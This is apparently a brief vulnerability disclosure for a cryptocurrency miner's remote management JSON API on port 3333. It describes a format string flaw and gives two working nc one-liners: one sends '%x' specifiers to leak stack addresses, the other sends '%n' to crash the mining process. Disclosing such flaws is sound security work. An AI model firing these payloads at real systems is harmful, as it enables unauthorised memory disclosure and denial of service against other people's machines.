This allows an unauthenticated remote attacker to read memory addresses, or immediately terminate the mining process causing a denial of service. 1) By sending a custom request to the json api on port 3333 of the remote management service it's possible to leak stack addresses and possibly rewrite stack addresses with %p. I wasn't able to break out of the json padding but someone else may be able to as %s also dumps string contents. example - echo -e '{"id":1,"jsonrpc":"1.0","method":"%x %x %x %x"}' | nc 192.168.1.139 3333 & printf "\n". 2) Sending %n to the json api on port 3333 immediately kills the mining process. example - echo -e '{"id":1,"jsonrpc":"1.0","method":"%n"}' | nc 192.168.1.139 3333 & printf "\n".
